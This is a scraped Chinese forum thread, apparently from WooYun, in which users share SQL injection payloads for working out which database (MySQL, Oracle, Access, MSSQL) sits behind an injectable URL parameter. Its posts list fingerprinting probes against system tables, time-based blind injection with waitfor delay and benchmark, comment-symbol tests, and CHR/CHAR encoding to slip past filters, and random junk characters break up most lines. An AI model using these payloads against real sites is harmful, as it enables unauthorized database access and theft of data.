一个注射点如何最快速确认是什么类型数据库
& A/ ^8 K% @& G7 T- ?( {9 w( cxsser (十根阳具有长短!!) | 2013-02-05 12:36
. x" f1 O+ H- b假设这么一个注射点:
& F% e: o; ]9 S% a. X( U' m; zshow.html?id=2
: L) D4 a4 L8 ]5 |9 [. _, Q: ymysql:id=2 and version()>0
7 ], M0 Q G, Q* l) W' D3 u3 i: O; yoracle:id=2 and '1'||'1'='111 n! ~8 Z. e4 ~* V% o
其他的欢迎补充
; b8 l& v1 b% `5 P6 [1#
, ?& Q0 V. J2 g& M: Dupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) A0 h% j3 C9 I: S. Q4 t
Access:
N$ Z. z# C+ b% G3 `+ R' m3 h% V1 aaNd aSc(cHr(97))=977 l8 U8 a9 Q6 W- ^
and exists(select id from MSysAccessObjects)) h7 x. l6 e9 c' s$ h
SQL Server:
6 C* I- B" @1 E' Cand exists(select id from sysobjects)! Y2 N! I9 o/ Z7 S7 w0 ?
and length(user)>0, t& R) U3 j( L; r
MySQL:( F w% G9 V% f' e* x& C) `. m
and length(user())>0* H+ |2 }6 I& I: u u2 Q/ J
2#
; b7 E5 ~! U b, I& Jxsser (十根阳具有长短!!) | 2013-02-05 12:480 S7 ?' F H; o) H. C+ r; d5 g/ g
@upload 如果这些都不是呢…3 s: e3 P, Z2 ^: [1 c0 x ^" G
3#4 @( X+ ?1 _& c$ A1 R# ^8 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:038 f/ |7 `; c, r5 U, m
@xsser 不快速的,延时注入
- }9 w! m! V' x f) l不知道这样写对不对
# o+ B! E/ x8 B$ y$ cmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
u/ c! `4 J- o( K' Mmysql:id=2 and select benchmark(1e8,current_date());1 t2 ~" [( N3 o7 H6 R( {& r
4#
/ ^8 @- i3 p; e. Eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:105 D: _: L+ e5 O1 H' E7 y
最快的貌似是看报错信息
* h8 S# X: v" Y# [5 O: j/ boracle error
1 Y! w9 \! ]! N) e" i2 o0 z5 o- tmssql error4 Z M/ t% O" \6 N
mysql error3 N" q* B2 J* m% `
5#
( r; v P5 Q' @" Q% uNimda (你们都是坏银~) | 2013-02-05 13:14
, e8 ^; C: Y' I小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual): z2 ~2 U% N$ W1 Z/ @( p4 T
6#
! a+ Z; f, W2 q5 k- Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21$ t" s6 o0 Z1 Z" c; @7 E I$ I
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
; g( w4 [$ e+ N5 z“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: Y F" \+ |& \6 Y
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
/ e: i0 A/ [" G7#
: ]8 v, \8 T- p2 G2 J p_Evil (HackEnd) | 2013-02-05 13:33: ~/ l D) c3 }. m0 Y
PostgreSQL
! D9 s F4 n# X9 f# M1 f8#) M( X! d# w% k) T
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
' x1 ]) T: }! w$ _4 o8 P1 L+ V) S: B切换编码 and 1=1( g$ _+ z p" s0 e3 p! \
oracle:0 a. o* Y# S. `$ `5 F
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
" H1 {5 s$ H3 }' X! |. ~mssql:
( h0 d- s+ b: K }CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49); l! C( M2 |4 B+ L8 b
mysql:+ a; ]: n7 B: i( C( l/ I$ x0 P# `' V* K
CHAR(97, 110, 100, 32, 49, 61, 49)2 R! Q& a2 c! J+ p9 J& D j
9#
% n, s# X; |+ c! U( ixsser (十根阳具有长短!!) | 2013-02-05 14:31- {1 ~2 o/ v! M+ d6 q* u9 r( v% G
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
& m: A8 @9 U2 @4 c/ w8 }7 u10#
" y4 N, h% k- ?! M+ d7 qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 X) Q, g3 D, T
@xsser 是奇葩数据库类型的么?
$ |7 S r, Y7 p; f. j2 s) F根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
; B3 _. t7 z- b# b$ s" c1.是否可以使用特定的函数来判断,该数据库特有的/ v# b1 S# o% p2 q* v6 n* ^
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
7 B( ^( @( o3 N" R" M Q3.是否可以编码查询
/ Z7 z+ P9 {, s; d# @# a- ~- o( R4.是否显可以利用错信息
9 g: `# t- }& t5 o: f8 V3 t( r! B5.是否存在数据库某些特性辅助判断
- L A: A3 M& E) V/ L Q) Z: G个人见解 V2 K' V# }: T5 U! v
11#
! S9 S- W! \8 s5 [4 I' p3 N小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
" V/ R' S x% o H. x3 w6 [已收藏,mssql可以直接看到错误提示的吧~
, B i* X9 b9 @2 V' @12#
/ N! i2 Q9 u& C Z2 UPasser_by | 2013-02-05 15:09
8 M% S& r+ h7 w& I }曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
/ k: p. s/ a7 d- h: u4 ~from:http://zone.wooyun.org/content/260 |